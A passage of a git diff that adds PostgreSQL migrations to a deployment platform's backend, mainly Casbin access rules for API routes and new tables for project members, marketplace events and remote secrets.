+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'root', '/api/admin/templates/:id/needs-changes', 'POST', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260412100000_casbin_admin_vendor_profile_rule.down.sql b/stacker/stacker/migrations/20260412100000_casbin_admin_vendor_profile_rule.down.sql new file mode 100644 index 0000000..d1d2187 --- /dev/null +++ b/stacker/stacker/migrations/20260412100000_casbin_admin_vendor_profile_rule.down.sql @@ -0,0 +1,4 @@ +DELETE FROM public.casbin_rule WHERE v1 IN ( + '/api/admin/templates/:id/vendor-profile', + '/stacker/api/admin/templates/:id/vendor-profile' +) AND v2 = 'PATCH'; diff --git a/stacker/stacker/migrations/20260412100000_casbin_admin_vendor_profile_rule.up.sql b/stacker/stacker/migrations/20260412100000_casbin_admin_vendor_profile_rule.up.sql new file mode 100644 index 0000000..c76d512 --- /dev/null +++ b/stacker/stacker/migrations/20260412100000_casbin_admin_vendor_profile_rule.up.sql @@ -0,0 +1,16 @@ +-- Add Casbin rules for admin vendor profile patch endpoint +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'admin_service', '/api/admin/templates/:id/vendor-profile', 'PATCH', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/api/admin/templates/:id/vendor-profile', 'PATCH', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'admin_service', '/stacker/api/admin/templates/:id/vendor-profile', 'PATCH', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/stacker/api/admin/templates/:id/vendor-profile', 'PATCH', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260412102000_casbin_template_vendor_profile_status_rule.down.sql b/stacker/stacker/migrations/20260412102000_casbin_template_vendor_profile_status_rule.down.sql new file mode 100644 index 0000000..f799ed7 --- /dev/null +++ b/stacker/stacker/migrations/20260412102000_casbin_template_vendor_profile_status_rule.down.sql @@ -0,0 +1,4 @@ +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND v1 = '/api/templates/:id/vendor-profile-status' + AND v2 = 'GET'; diff --git a/stacker/stacker/migrations/20260412102000_casbin_template_vendor_profile_status_rule.up.sql b/stacker/stacker/migrations/20260412102000_casbin_template_vendor_profile_status_rule.up.sql new file mode 100644 index 0000000..bc9e752 --- /dev/null +++ b/stacker/stacker/migrations/20260412102000_casbin_template_vendor_profile_status_rule.up.sql @@ -0,0 +1,7 @@ +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_user', '/api/templates/:id/vendor-profile-status', 'GET', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/api/templates/:id/vendor-profile-status', 'GET', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260412104000_casbin_self_vendor_profile_rule.down.sql b/stacker/stacker/migrations/20260412104000_casbin_self_vendor_profile_rule.down.sql new file mode 100644 index 0000000..ac1dd61 --- /dev/null +++ b/stacker/stacker/migrations/20260412104000_casbin_self_vendor_profile_rule.down.sql @@ -0,0 +1,4 @@ +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND v1 = '/api/templates/mine/vendor-profile' + AND v2 = 'GET'; diff --git a/stacker/stacker/migrations/20260412104000_casbin_self_vendor_profile_rule.up.sql b/stacker/stacker/migrations/20260412104000_casbin_self_vendor_profile_rule.up.sql new file mode 100644 index 0000000..859def6 --- /dev/null +++ b/stacker/stacker/migrations/20260412104000_casbin_self_vendor_profile_rule.up.sql @@ -0,0 +1,7 @@ +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_user', '/api/templates/mine/vendor-profile', 'GET', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/api/templates/mine/vendor-profile', 'GET', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260412110000_casbin_creator_onboarding_link_rule.down.sql b/stacker/stacker/migrations/20260412110000_casbin_creator_onboarding_link_rule.down.sql new file mode 100644 index 0000000..693fe7b --- /dev/null +++ b/stacker/stacker/migrations/20260412110000_casbin_creator_onboarding_link_rule.down.sql @@ -0,0 +1,4 @@ +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND v1 = '/api/templates/mine/vendor-profile/onboarding-link' + AND v2 = 'POST'; diff --git a/stacker/stacker/migrations/20260412110000_casbin_creator_onboarding_link_rule.up.sql b/stacker/stacker/migrations/20260412110000_casbin_creator_onboarding_link_rule.up.sql new file mode 100644 index 0000000..fdef1b1 --- /dev/null +++ b/stacker/stacker/migrations/20260412110000_casbin_creator_onboarding_link_rule.up.sql @@ -0,0 +1,7 @@ +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_user', '/api/templates/mine/vendor-profile/onboarding-link', 'POST', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/api/templates/mine/vendor-profile/onboarding-link', 'POST', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260412112000_casbin_creator_onboarding_complete_rule.down.sql b/stacker/stacker/migrations/20260412112000_casbin_creator_onboarding_complete_rule.down.sql new file mode 100644 index 0000000..44f18f5 --- /dev/null +++ b/stacker/stacker/migrations/20260412112000_casbin_creator_onboarding_complete_rule.down.sql @@ -0,0 +1,4 @@ +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND v1 = '/api/templates/mine/vendor-profile/onboarding-complete' + AND v2 = 'POST'; diff --git a/stacker/stacker/migrations/20260412112000_casbin_creator_onboarding_complete_rule.up.sql b/stacker/stacker/migrations/20260412112000_casbin_creator_onboarding_complete_rule.up.sql new file mode 100644 index 0000000..853bb24 --- /dev/null +++ b/stacker/stacker/migrations/20260412112000_casbin_creator_onboarding_complete_rule.up.sql @@ -0,0 +1,7 @@ +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_user', '/api/templates/mine/vendor-profile/onboarding-complete', 'POST', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/api/templates/mine/vendor-profile/onboarding-complete', 'POST', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260412113000_casbin_handoff_rules.down.sql b/stacker/stacker/migrations/20260412113000_casbin_handoff_rules.down.sql new file mode 100644 index 0000000..044556d --- /dev/null +++ b/stacker/stacker/migrations/20260412113000_casbin_handoff_rules.down.sql @@ -0,0 +1,5 @@ +DELETE FROM public.casbin_rule +WHERE (ptype, v0, v1, v2, v3, v4, v5) IN ( + ('p', 'group_user', '/api/v1/handoff/mint', 'POST', '', '', ''), + ('p', 'group_anonymous', '/api/v1/handoff/resolve', 'POST', '', '', '') +); diff --git a/stacker/stacker/migrations/20260412113000_casbin_handoff_rules.up.sql b/stacker/stacker/migrations/20260412113000_casbin_handoff_rules.up.sql new file mode 100644 index 0000000..15f24e2 --- /dev/null +++ b/stacker/stacker/migrations/20260412113000_casbin_handoff_rules.up.sql @@ -0,0 +1,9 @@ +-- Allow authenticated users to mint CLI handoff commands for their deployments. +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_user', '/api/v1/handoff/mint', 'POST', '', '', '') +ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; + +-- Allow anonymous resolution because the handoff token itself is the credential. +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_anonymous', '/api/v1/handoff/resolve', 'POST', '', '', '') +ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; diff --git a/stacker/stacker/migrations/20260413083000_casbin_project_rollback_rule.down.sql b/stacker/stacker/migrations/20260413083000_casbin_project_rollback_rule.down.sql new file mode 100644 index 0000000..1c62d8c --- /dev/null +++ b/stacker/stacker/migrations/20260413083000_casbin_project_rollback_rule.down.sql @@ -0,0 +1,5 @@ +DELETE FROM public.casbin_rule +WHERE (ptype, v0, v1, v2, v3, v4, v5) IN ( + ('p', 'group_user', '/project/:id/rollback', 'POST', '', '', ''), + ('p', 'client', '/project/:id/rollback', 'POST', '', '', '') +); diff --git a/stacker/stacker/migrations/20260413083000_casbin_project_rollback_rule.up.sql b/stacker/stacker/migrations/20260413083000_casbin_project_rollback_rule.up.sql new file mode 100644 index 0000000..fcaaf80 --- /dev/null +++ b/stacker/stacker/migrations/20260413083000_casbin_project_rollback_rule.up.sql @@ -0,0 +1,7 @@ +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_user', '/project/:id/rollback', 'POST', '', '', '') +ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'client', '/project/:id/rollback', 'POST', '', '', '') +ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; diff --git a/stacker/stacker/migrations/20260413084500_create_project_member_table.down.sql b/stacker/stacker/migrations/20260413084500_create_project_member_table.down.sql new file mode 100644 index 0000000..6166fec --- /dev/null +++ b/stacker/stacker/migrations/20260413084500_create_project_member_table.down.sql @@ -0,0 +1,2 @@ +DROP INDEX IF EXISTS idx_project_member_user_id; +DROP TABLE IF EXISTS project_member; diff --git a/stacker/stacker/migrations/20260413084500_create_project_member_table.up.sql b/stacker/stacker/migrations/20260413084500_create_project_member_table.up.sql new file mode 100644 index 0000000..205c183 --- /dev/null +++ b/stacker/stacker/migrations/20260413084500_create_project_member_table.up.sql @@ -0,0 +1,11 @@ +CREATE TABLE IF NOT EXISTS project_member ( + project_id INTEGER NOT NULL REFERENCES project(id) ON DELETE CASCADE, + user_id TEXT NOT NULL, + role VARCHAR(32) NOT NULL, + created_by TEXT NOT NULL, + created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(), + updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW(), + PRIMARY KEY (project_id, user_id) +); + +CREATE INDEX IF NOT EXISTS idx_project_member_user_id ON project_member(user_id); diff --git a/stacker/stacker/migrations/20260413085000_casbin_project_member_rule.down.sql b/stacker/stacker/migrations/20260413085000_casbin_project_member_rule.down.sql new file mode 100644 index 0000000..c59f311 --- /dev/null +++ b/stacker/stacker/migrations/20260413085000_casbin_project_member_rule.down.sql @@ -0,0 +1,4 @@ +DELETE FROM public.casbin_rule +WHERE (ptype, v0, v1, v2, v3, v4, v5) IN ( + ('p', 'group_user', '/project/:id/members', 'POST', '', '', '') +); diff --git a/stacker/stacker/migrations/20260413085000_casbin_project_member_rule.up.sql b/stacker/stacker/migrations/20260413085000_casbin_project_member_rule.up.sql new file mode 100644 index 0000000..aa7e8ce --- /dev/null +++ b/stacker/stacker/migrations/20260413085000_casbin_project_member_rule.up.sql @@ -0,0 +1,3 @@ +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_user', '/project/:id/members', 'POST', '', '', '') +ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; diff --git a/stacker/stacker/migrations/20260413093000_casbin_project_shared_rule.down.sql b/stacker/stacker/migrations/20260413093000_casbin_project_shared_rule.down.sql new file mode 100644 index 0000000..8d9a575 --- /dev/null +++ b/stacker/stacker/migrations/20260413093000_casbin_project_shared_rule.down.sql @@ -0,0 +1,4 @@ +DELETE FROM public.casbin_rule +WHERE (ptype, v0, v1, v2, v3, v4, v5) IN ( + ('p', 'group_user', '/project/shared', 'GET', '', '', '') +); diff --git a/stacker/stacker/migrations/20260413093000_casbin_project_shared_rule.up.sql b/stacker/stacker/migrations/20260413093000_casbin_project_shared_rule.up.sql new file mode 100644 index 0000000..7b8e6c7 --- /dev/null +++ b/stacker/stacker/migrations/20260413093000_casbin_project_shared_rule.up.sql @@ -0,0 +1,3 @@ +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_user', '/project/shared', 'GET', '', '', '') +ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; diff --git a/stacker/stacker/migrations/20260413101500_casbin_project_member_manage_rules.down.sql b/stacker/stacker/migrations/20260413101500_casbin_project_member_manage_rules.down.sql new file mode 100644 index 0000000..bb42b6c --- /dev/null +++ b/stacker/stacker/migrations/20260413101500_casbin_project_member_manage_rules.down.sql @@ -0,0 +1,5 @@ +DELETE FROM public.casbin_rule +WHERE (ptype, v0, v1, v2, v3, v4, v5) IN ( + ('p', 'group_user', '/project/:id/members', 'GET', '', '', ''), + ('p', 'group_user', '/project/:id/members/:member_user_id', 'DELETE', '', '', '') +); diff --git a/stacker/stacker/migrations/20260413101500_casbin_project_member_manage_rules.up.sql b/stacker/stacker/migrations/20260413101500_casbin_project_member_manage_rules.up.sql new file mode 100644 index 0000000..4e06aea --- /dev/null +++ b/stacker/stacker/migrations/20260413101500_casbin_project_member_manage_rules.up.sql @@ -0,0 +1,7 @@ +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_user', '/project/:id/members', 'GET', '', '', '') +ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_user', '/project/:id/members/:member_user_id', 'DELETE', '', '', '') +ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; diff --git a/stacker/stacker/migrations/20260424164000_agreement_api_casbin_rules.down.sql b/stacker/stacker/migrations/20260424164000_agreement_api_casbin_rules.down.sql new file mode 100644 index 0000000..9d5e6d5 --- /dev/null +++ b/stacker/stacker/migrations/20260424164000_agreement_api_casbin_rules.down.sql @@ -0,0 +1,8 @@ +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND v0 IN ('group_user', 'group_admin') + AND ( + (v1 = '/api/agreement' AND v2 IN ('GET', 'POST')) + OR (v1 = '/api/agreement/:id' AND v2 = 'GET') + OR (v1 = '/api/agreement/accepted/:id' AND v2 = 'GET') + ); diff --git a/stacker/stacker/migrations/20260424164000_agreement_api_casbin_rules.up.sql b/stacker/stacker/migrations/20260424164000_agreement_api_casbin_rules.up.sql new file mode 100644 index 0000000..306ec9b --- /dev/null +++ b/stacker/stacker/migrations/20260424164000_agreement_api_casbin_rules.up.sql @@ -0,0 +1,9 @@ +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + ('p', 'group_user', '/api/agreement', 'GET', '', '', ''), + ('p', 'group_user', '/api/agreement/:id', 'GET', '', '', ''), + ('p', 'group_user', '/api/agreement', 'POST', '', '', ''), + ('p', 'group_user', '/api/agreement/accepted/:id', 'GET', '', '', ''), + ('p', 'group_admin', '/api/agreement', 'GET', '', '', ''), + ('p', 'group_admin', '/api/agreement/:id', 'GET', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260426000000_seed_agreement.down.sql b/stacker/stacker/migrations/20260426000000_seed_agreement.down.sql new file mode 100644 index 0000000..beb340c --- /dev/null +++ b/stacker/stacker/migrations/20260426000000_seed_agreement.down.sql @@ -0,0 +1 @@ +DELETE FROM agreement WHERE id = 1; diff --git a/stacker/stacker/migrations/20260426000000_seed_agreement.up.sql b/stacker/stacker/migrations/20260426000000_seed_agreement.up.sql new file mode 100644 index 0000000..92310d6 --- /dev/null +++ b/stacker/stacker/migrations/20260426000000_seed_agreement.up.sql @@ -0,0 +1,11 @@ +INSERT INTO agreement (id, name, text, created_at, updated_at) +VALUES ( + 1, + 'Terms of Service', + 'By using the TryDirect Stacker platform you agree to our Terms of Service and Privacy Policy available at https://try.direct/terms', + NOW() AT TIME ZONE 'utc', + NOW() AT TIME ZONE 'utc' +) +ON CONFLICT (id) DO NOTHING; + +SELECT setval(pg_get_serial_sequence('agreement', 'id'), GREATEST(1, (SELECT MAX(id) FROM agreement))); diff --git a/stacker/stacker/migrations/20260426113914_enrich_marketplace_template_form.down.sql b/stacker/stacker/migrations/20260426113914_enrich_marketplace_template_form.down.sql new file mode 100644 index 0000000..597ee74 --- /dev/null +++ b/stacker/stacker/migrations/20260426113914_enrich_marketplace_template_form.down.sql @@ -0,0 +1,7 @@ +-- Rollback: Remove marketplace template enrichment columns + +DROP INDEX IF EXISTS idx_stack_template_vendor_url; + +ALTER TABLE stack_template +DROP COLUMN IF EXISTS public_ports, +DROP COLUMN IF EXISTS vendor_url; diff --git a/stacker/stacker/migrations/20260426113914_enrich_marketplace_template_form.up.sql b/stacker/stacker/migrations/20260426113914_enrich_marketplace_template_form.up.sql new file mode 100644 index 0000000..0c0f954 --- /dev/null +++ b/stacker/stacker/migrations/20260426113914_enrich_marketplace_template_form.up.sql @@ -0,0 +1,14 @@ +-- Enrich marketplace template form with missing fields +-- Adds: public_ports (JSONB), vendor_url (TEXT), and updates category handling + +ALTER TABLE stack_template +ADD COLUMN IF NOT EXISTS public_ports JSONB DEFAULT NULL CONSTRAINT chk_public_ports_is_array + CHECK (public_ports IS NULL OR jsonb_typeof(public_ports) = 'array'), +ADD COLUMN IF NOT EXISTS vendor_url TEXT DEFAULT NULL; + +-- Create index on vendor_url for lookups +CREATE INDEX IF NOT EXISTS idx_stack_template_vendor_url ON stack_template(vendor_url) WHERE vendor_url IS NOT NULL; + +-- Create comment for documentation +COMMENT ON COLUMN stack_template.public_ports IS 'Array of port objects: [{"name": "web", "port": 8080}, ...]'; +COMMENT ON COLUMN stack_template.vendor_url IS 'Single vendor URL (e.g., product page, documentation)'; diff --git a/stacker/stacker/migrations/20260426121500_casbin_marketplace_deploy_complete.down.sql b/stacker/stacker/migrations/20260426121500_casbin_marketplace_deploy_complete.down.sql new file mode 100644 index 0000000..0018b0f --- /dev/null +++ b/stacker/stacker/migrations/20260426121500_casbin_marketplace_deploy_complete.down.sql @@ -0,0 +1,5 @@ +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND v0 = 'group_anonymous' + AND v1 = '/api/v1/marketplace/deploy-complete' + AND v2 = 'POST'; diff --git a/stacker/stacker/migrations/20260426121500_casbin_marketplace_deploy_complete.up.sql b/stacker/stacker/migrations/20260426121500_casbin_marketplace_deploy_complete.up.sql new file mode 100644 index 0000000..3b285b2 --- /dev/null +++ b/stacker/stacker/migrations/20260426121500_casbin_marketplace_deploy_complete.up.sql @@ -0,0 +1,3 @@ +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_anonymous', '/api/v1/marketplace/deploy-complete', 'POST', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260426121600_marketplace_deploy_complete_events.down.sql b/stacker/stacker/migrations/20260426121600_marketplace_deploy_complete_events.down.sql new file mode 100644 index 0000000..7ef4285 --- /dev/null +++ b/stacker/stacker/migrations/20260426121600_marketplace_deploy_complete_events.down.sql @@ -0,0 +1 @@ +DROP TABLE IF EXISTS stack_template_deployment; diff --git a/stacker/stacker/migrations/20260426121600_marketplace_deploy_complete_events.up.sql b/stacker/stacker/migrations/20260426121600_marketplace_deploy_complete_events.up.sql new file mode 100644 index 0000000..5aedf1e --- /dev/null +++ b/stacker/stacker/migrations/20260426121600_marketplace_deploy_complete_events.up.sql @@ -0,0 +1,10 @@ +CREATE TABLE IF NOT EXISTS stack_template_deployment ( + id uuid PRIMARY KEY DEFAULT gen_random_uuid(), + template_id uuid NOT NULL REFERENCES stack_template(id) ON DELETE CASCADE, + deployment_hash text NOT NULL UNIQUE, + server_ip text, + created_at timestamptz NOT NULL DEFAULT now() +); + +CREATE INDEX IF NOT EXISTS idx_stack_template_deployment_template_id + ON stack_template_deployment(template_id); diff --git a/stacker/stacker/migrations/20260426143000_marketplace_version_assets.down.sql b/stacker/stacker/migrations/20260426143000_marketplace_version_assets.down.sql new file mode 100644 index 0000000..8846e55 --- /dev/null +++ b/stacker/stacker/migrations/20260426143000_marketplace_version_assets.down.sql @@ -0,0 +1,3 @@ +ALTER TABLE stack_template_version +DROP CONSTRAINT IF EXISTS chk_stack_template_version_assets_is_array, +DROP COLUMN IF EXISTS assets; diff --git a/stacker/stacker/migrations/20260426143000_marketplace_version_assets.up.sql b/stacker/stacker/migrations/20260426143000_marketplace_version_assets.up.sql new file mode 100644 index 0000000..c0d4049 --- /dev/null +++ b/stacker/stacker/migrations/20260426143000_marketplace_version_assets.up.sql @@ -0,0 +1,7 @@ +ALTER TABLE stack_template_version +ADD COLUMN IF NOT EXISTS assets JSONB NOT NULL DEFAULT '[]'::jsonb + CONSTRAINT chk_stack_template_version_assets_is_array + CHECK (jsonb_typeof(assets) = 'array'); + +COMMENT ON COLUMN stack_template_version.assets IS + 'Finalized marketplace asset metadata for this template version.'; diff --git a/stacker/stacker/migrations/20260426150000_marketplace_version_contract_mirror.down.sql b/stacker/stacker/migrations/20260426150000_marketplace_version_contract_mirror.down.sql new file mode 100644 index 0000000..878932c --- /dev/null +++ b/stacker/stacker/migrations/20260426150000_marketplace_version_contract_mirror.down.sql @@ -0,0 +1,5 @@ +ALTER TABLE stack_template_version +DROP COLUMN IF EXISTS update_mode_capabilities, +DROP COLUMN IF EXISTS post_deploy_hooks, +DROP COLUMN IF EXISTS seed_jobs, +DROP COLUMN IF EXISTS config_files; diff --git a/stacker/stacker/migrations/20260426150000_marketplace_version_contract_mirror.up.sql b/stacker/stacker/migrations/20260426150000_marketplace_version_contract_mirror.up.sql new file mode 100644 index 0000000..ca8d78f --- /dev/null +++ b/stacker/stacker/migrations/20260426150000_marketplace_version_contract_mirror.up.sql @@ -0,0 +1,5 @@ +ALTER TABLE stack_template_version +ADD COLUMN IF NOT EXISTS config_files JSONB NOT NULL DEFAULT '[]'::jsonb, +ADD COLUMN IF NOT EXISTS seed_jobs JSONB NOT NULL DEFAULT '[]'::jsonb, +ADD COLUMN IF NOT EXISTS post_deploy_hooks JSONB NOT NULL DEFAULT '[]'::jsonb, +ADD COLUMN IF NOT EXISTS update_mode_capabilities JSONB; diff --git a/stacker/stacker/migrations/20260426162000_marketplace_creator_analytics.down.sql b/stacker/stacker/migrations/20260426162000_marketplace_creator_analytics.down.sql new file mode 100644 index 0000000..c9b0b33 --- /dev/null +++ b/stacker/stacker/migrations/20260426162000_marketplace_creator_analytics.down.sql @@ -0,0 +1,7 @@ +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND v1 = '/api/templates/mine/analytics' + AND v2 = 'GET' + AND v0 IN ('group_user', 'group_admin'); + +DROP TABLE IF EXISTS marketplace_template_event; diff --git a/stacker/stacker/migrations/20260426162000_marketplace_creator_analytics.up.sql b/stacker/stacker/migrations/20260426162000_marketplace_creator_analytics.up.sql new file mode 100644 index 0000000..de17023 --- /dev/null +++ b/stacker/stacker/migrations/20260426162000_marketplace_creator_analytics.up.sql @@ -0,0 +1,29 @@ +CREATE TABLE IF NOT EXISTS marketplace_template_event ( + id UUID PRIMARY KEY DEFAULT gen_random_uuid(), + template_id UUID NOT NULL REFERENCES stack_template(id) ON DELETE CASCADE, + event_type VARCHAR(32) NOT NULL CHECK (event_type IN ('view', 'deploy')), + user_id VARCHAR(50), + viewer_user_id VARCHAR(50), + deployer_user_id VARCHAR(50), + cloud_provider VARCHAR(64), + metadata JSONB NOT NULL DEFAULT '{}'::jsonb, + created_at TIMESTAMP WITH TIME ZONE NOT NULL DEFAULT now(), + occurred_at TIMESTAMP WITH TIME ZONE NOT NULL DEFAULT now() +); + +CREATE INDEX IF NOT EXISTS idx_marketplace_template_event_template + ON marketplace_template_event(template_id); + +CREATE INDEX IF NOT EXISTS idx_marketplace_template_event_type_created + ON marketplace_template_event(event_type, created_at); + +CREATE INDEX IF NOT EXISTS idx_marketplace_template_event_template_created + ON marketplace_template_event(template_id, created_at); + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_user', '/api/templates/mine/analytics', 'GET', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/api/templates/mine/analytics', 'GET', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260426171000_casbin_marketplace_v1_asset_rules.down.sql b/stacker/stacker/migrations/20260426171000_casbin_marketplace_v1_asset_rules.down.sql new file mode 100644 index 0000000..c3ad770 --- /dev/null +++ b/stacker/stacker/migrations/20260426171000_casbin_marketplace_v1_asset_rules.down.sql @@ -0,0 +1,11 @@ +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND ( + (v0 = 'group_anonymous' AND v1 = '/api/v1/templates/:slug' AND v2 = 'GET') + OR (v0 = 'group_user' AND v1 = '/api/v1/templates/:id' AND v2 = 'PUT') + OR (v0 = 'group_user' AND v1 = '/api/v1/templates/:id/submit' AND v2 = 'POST') + OR (v0 = 'group_user' AND v1 = '/api/v1/templates/:id/resubmit' AND v2 = 'POST') + OR (v0 = 'group_user' AND v1 = '/api/v1/templates/:id/assets/presign' AND v2 = 'POST') + OR (v0 = 'group_user' AND v1 = '/api/v1/templates/:id/assets/finalize' AND v2 = 'POST') + OR (v0 = 'group_user' AND v1 = '/api/v1/templates/:id/assets/presign-download' AND v2 = 'POST') + ); diff --git a/stacker/stacker/migrations/20260426171000_casbin_marketplace_v1_asset_rules.up.sql b/stacker/stacker/migrations/20260426171000_casbin_marketplace_v1_asset_rules.up.sql new file mode 100644 index 0000000..ff2ab7d --- /dev/null +++ b/stacker/stacker/migrations/20260426171000_casbin_marketplace_v1_asset_rules.up.sql @@ -0,0 +1,10 @@ +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + ('p', 'group_anonymous', '/api/v1/templates/:slug', 'GET', '', '', ''), + ('p', 'group_user', '/api/v1/templates/:id', 'PUT', '', '', ''), + ('p', 'group_user', '/api/v1/templates/:id/submit', 'POST', '', '', ''), + ('p', 'group_user', '/api/v1/templates/:id/resubmit', 'POST', '', '', ''), + ('p', 'group_user', '/api/v1/templates/:id/assets/presign', 'POST', '', '', ''), + ('p', 'group_user', '/api/v1/templates/:id/assets/finalize', 'POST', '', '', ''), + ('p', 'group_user', '/api/v1/templates/:id/assets/presign-download', 'POST', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260502120000_create_remote_secret_table.down.sql b/stacker/stacker/migrations/20260502120000_create_remote_secret_table.down.sql new file mode 100644 index 0000000..9526ed4 --- /dev/null +++ b/stacker/stacker/migrations/20260502120000_create_remote_secret_table.down.sql @@ -0,0 +1,3 @@ +DROP TRIGGER IF EXISTS remote_secret_updated_at_trigger ON remote_secret; +DROP FUNCTION IF EXISTS update_remote_secret_updated_at(); +DROP TABLE IF EXISTS remote_secret; diff --git a/stacker/stacker/migrations/20260502120000_create_remote_secret_table.up.sql b/stacker/stacker/migrations/20260502120000_create_remote_secret_table.up.sql new file mode 100644 index 0000000..5fb5f69 --- /dev/null +++ b/stacker/stacker/migrations/20260502120000_create_remote_secret_table.up.sql @@ -0,0 +1,53 @@ +CREATE TABLE IF NOT EXISTS remote_secret ( + id SERIAL PRIMARY KEY, + user_id VARCHAR(255) NOT NULL, + project_id INTEGER REFERENCES project(id) ON DELETE CASCADE, + app_code VARCHAR(100), + server_id INTEGER REFERENCES server(id) ON DELETE CASCADE, + scope VARCHAR(20) NOT NULL, + name VARCHAR(255) NOT NULL, + vault_path TEXT NOT NULL, + updated_by VARCHAR(255) NOT NULL, + last_sync_status VARCHAR(50) NOT NULL DEFAULT 'synced', + created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(), + updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW(), + CONSTRAINT remote_secret_scope_check CHECK (scope IN ('service', 'server')), + CONSTRAINT remote_secret_target_check CHECK ( + (scope = 'service' AND project_id IS NOT NULL AND app_code IS NOT NULL AND server_id IS NULL) + OR + (scope = 'server' AND server_id IS NOT NULL AND project_id IS NULL AND app_code IS NULL) + ) +); + +CREATE UNIQUE INDEX IF NOT EXISTS idx_remote_secret_service_unique + ON remote_secret (user_id, project_id, app_code, name) + WHERE scope = 'service'; + +CREATE UNIQUE INDEX IF NOT EXISTS idx_remote_secret_server_unique + ON remote_secret (user_id, server_id, name) + WHERE scope = 'server'; + +CREATE INDEX IF NOT EXISTS idx_remote_secret_user_scope + ON remote_secret (user_id, scope); + +CREATE INDEX IF NOT EXISTS idx_remote_secret_project_app + ON remote_secret (project_id, app_code) + WHERE scope = 'service'; + +CREATE INDEX IF NOT EXISTS idx_remote_secret_server + ON remote_secret (server_id) + WHERE scope = 'server'; + +CREATE OR REPLACE FUNCTION update_remote_secret_updated_at() +RETURNS TRIGGER AS $$ +BEGIN + NEW.updated_at = NOW(); + RETURN NEW; +END; +$$ LANGUAGE plpgsql; + +DROP TRIGGER IF EXISTS remote_secret_updated_at_trigger ON remote_secret; +CREATE TRIGGER remote_secret_updated_at_trigger + BEFORE UPDATE ON remote_secret + 